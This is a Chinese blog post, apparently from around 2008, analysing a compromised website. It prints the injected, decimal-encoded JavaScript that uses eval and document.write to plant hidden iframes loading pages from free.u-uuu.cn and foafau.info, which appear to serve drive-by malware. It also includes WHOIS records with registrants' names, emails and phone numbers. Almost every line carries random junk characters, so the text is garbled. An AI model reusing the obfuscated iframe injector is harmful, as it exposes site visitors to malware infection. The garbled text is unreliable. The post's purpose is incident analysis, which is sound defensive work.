首发在我的博客里面，
piM4grg
\ |hika`35K http://www.areway.cn/?p=175 TS6xF? U| Fqna D}y W:Pi' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
y7F
|v8 bq A)]&L`s <script>t=’60,105,102,114,97,109,101,
K^fs #7 32,115,114,99,61,104,116,116,112,58,47,47,
RQ8d1US 102,114,101,101,46,117,45,117,117,117,46,99,
yk?bz 110,47,101,114,114,111,114,46,104,116,109,
$8eiifj 32,119,105,100,116,104,61,49,48,48,32,104,
#G]IEO$M6 101,105,103,104,116,61,48,62,60,47,105,102,
9lYfII}4( 114,97,109,101,62′;
J"AR3b@,$? t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
C5dM` _3L 68u?}8} <script>t=’60,105,102,114,97,109,101,32,115,
zJw5+
+
114,99,61,104,116,116,112,58,47,47,102,114,
m* _X PY 101,101,46,117,45,117,117,117,46,99,110,47,
HfSx*@\s 101,114,114,111,114,46,104,116,109,32,119,
PEvY3F}_rh 105,100,116,104,61,49,48,48,32,104,101,105,
xS1n,gTA 103,104,116,61,48,62,60,47,105,102,114,97,
NuR7pjNMZ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
"
7^nRJ y document.write(t);</script>
C7{VByxJ 1 7 KQ <html xmlns=”
;9z|rWsF http://www.w3.org/1999/xhtml B3ItZojAuw “>
k^%=\c <head>
?P0b/g <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
gvT}UNqL <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
y` n?f|nf <title>首页 - 爱生活家庭网
doL-G?8B (%L /|F_ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
oI ick 转换字符串后的大概内容是（谁点击后果自付）：
5m~9Vl-& <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
uluAqDz` gEk;Tj 查询玉米u-uuu.cn的详细信息：
_|M8xI Domain Name: u-uuu.cn
LMoZI0)x ROID: 20070901s10001s64972306-cn
F M6{%}4 Domain Status: ok
Yt#;
+*d5 Registrant Organization: 王雷
F&wAre< Registrant Name: 王雷
phu,& DS! Administrative Email:
czlovexs@126.com 9DA |; | Sponsoring Registrar: 北京万网志成科技有限公司
e&
`"}^X;I Name Server:ns.yovole.com
]6Iu\,#J Name Server:ns1.yovole.com
ly`
A,dh Registration Date: 2007-09-01 17:54
C+**!uYIB Expiration Date: 2008-09-01 17:54
*?t$Q|2Xr 最后PING了一下地址 都没有什么….
5oG~ Fc y5eEEG6 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
U_IGL <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
{FFdMdxy- <script language=”javascript” src=”
Cik1~5 iF http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script
@!OXLM >
u1X^#K$nu' 这个玉米应该有可能是木马作者的：
0V3dc+t)O foafau.info的详细信息：
%mmV#vwp Access to INFO WHOIS information is provided to assist persons in
1=J& ^O{W determining the contents of a domain name registration record in the
v1{j1~ZR Afilias registry database. The data in this record is provided by
_$AM =?P & Afilias Limited for informational purposes only, and Afilias does not
3&})gU&a guarantee its accuracy. This service is intended only for query-based
~o _JZ: access. You agree that you will use this data only for lawful purposes
2ul8]= and that, under no circumstances will you use this data to: (a) allow,
sA? 8i:]O: enable, or otherwise support the transmission by e-mail, telephone, or
j2,sI4 facsimile of mass unsolicited, commercial advertising or solicitations
4E.9CjN1> to entities other than the data recipient’s own existing customers; or
2|bt"y-5r (b) enable high volume, automated, electronic processes that send
t sg`c ;{ queries or data to the systems of Registry Operator, a Registrar, or
hdw.S`~}% Afilias except as reasonably necessary to register domain names or
+ytP5K7 modify existing registrations. All rights reserved. Afilias reserves
EFC+7 L(j the right to modify these terms at any time. By submitting this query,
fhN\AjB6Td you agree to abide by this policy.
>gp53\ Domain ID:D22418703-LRMS
$3"hOEN@5` Domain Name:FOAFAU.INFO
7k* Created On:20-Nov-2007 16:05:42 UTC
FQO=}0Hl Last Updated On:20-Nov-2007 16:05:44 UTC
FcM)v"bF&] Expiration Date:20-Nov-2008 16:05:42 UTC
9jI muSZ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
B<EqzP*# Status:CLIENT DELETE PROHIBITED
%@C8EFl% 3 Status:CLIENT RENEW PROHIBITED
~NIhS! Status:CLIENT TRANSFER PROHIBITED
m"~ddqSMT Status:CLIENT UPDATE PROHIBITED
3]vVuQK . Status:TRANSFER PROHIBITED
By@65KmR" Registrant ID:GODA-040110615
zp8x/,gwF Registrant Name:liu hong
S~:uOm2t\ Registrant Organization:
g "Du]_, Registrant Street1:beijing
v` K%dBa Registrant Street2:
o;6~pw% Registrant Street3:
GkU _01C Registrant City:beijing
GY?u+|Q Registrant State/Province:
~v(c9I) Registrant Postal Code:100000
?rOj?J9 Registrant Country:CN
E\D,= |Mul Registrant Phone:+86.860108888777
1_{ e*=/y Registrant Phone Ext.:
}i^M<A O Registrant FAX:
Ydrh+ Registrant FAX Ext.:
'sZGLgT;m Registrant Email:bbbshiji@163.com
XFoSGqD Admin ID:GODA-240110615
Ut2T:%m{ Admin Name:liu hong
;O)*!yA(GG Admin Organization:
3A ^AEO Admin Street1:beijing
<|k :% Admin Street2:
-Wa<}Tz Admin Street3:
CP\[ 9#]: Admin City:beijing
fSd|6 iFH Admin State/Province:
&*/= `=:C8 Admin Postal Code:100000
*-=/"m Admin Country:CN
r rfJs Admin Phone:+86.860108888777
g5+m]3#t Admin Phone Ext.:
%pjY ^tM/ Admin FAX:
pBe1: Admin FAX Ext.:
]d(Z% Admin Email:bbbshiji@163.com
N<SW
$ o Billing ID:GODA-340110615
KJJ :fG8' Billing Name:liu hong
h{7>> Billing Organization:
I*%3E.Z@g Billing Street1:beijing
Q0"?TSY Billing Street2:
>dK0&+A Billing Street3:
u\ 7Y_`8 Billing City:beijing
3(K.:376 Billing State/Province:
rPy,PQG2w Billing Postal Code:100000
YSxr(\~j Billing Country:CN
rF[-4t
% Billing Phone:+86.860108888777
c*\i%I#f2 Billing Phone Ext.:
'V%w{ZiiV Billing FAX:
8Kl&_-l{b Billing FAX Ext.:
9LPXhxNwB Billing Email:bbbshiji@163.com
>y8>OJ?A7- Tech ID:GODA-140110615
)6%*= - Tech Name:liu hong
)0 E_Y@ Tech Organization:
nW]CA~ Tech Street1:beijing
#xx.yn(7 Tech Street2:
T\.~!Q Tech Street3:
Qa/1*Mb Tech City:beijing
H.iCYD_= Tech State/Province:
,? <;zq Tech Postal Code:100000
i?d545. u Tech Country:CN
XSof{:V Tech Phone:+86.860108888777
7R[7M%H Tech Phone Ext.:
qPz_PRje Tech FAX:
?`Z:vqp>Z Tech FAX Ext.:
{Pe&J2
+ Tech Email:bbbshiji@163.com
> a*dI_XE Name Server:NS27.DOMAINCONTROL.COM
f%n ;Z}= Name Server:NS28.DOMAINCONTROL.COM
.n_Z0&i/w Name Server:
E8PwA. Name Server:
6wpu[ Name Server:
8h)7K/!\ Name Server:
mI<s f?. Name Server:
"
]k}V2l Name Server:
tkm@&e=e% Name Server:
).GM 0-y Name Server:
TR*vZzoy Name Server:
?IQDk|< % Name Server:
Ch l^LEN: Name Server:
%n6<6t` $ Z2*?a|3 接着下载每个文件里面的代码：
%w>3Fwj`z 一步一步看..
61QA<W b 
lGK7XAx, 
vK/`or3U 
?/T=G k 
*ze/$vz- 
?#<'w(^%# 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
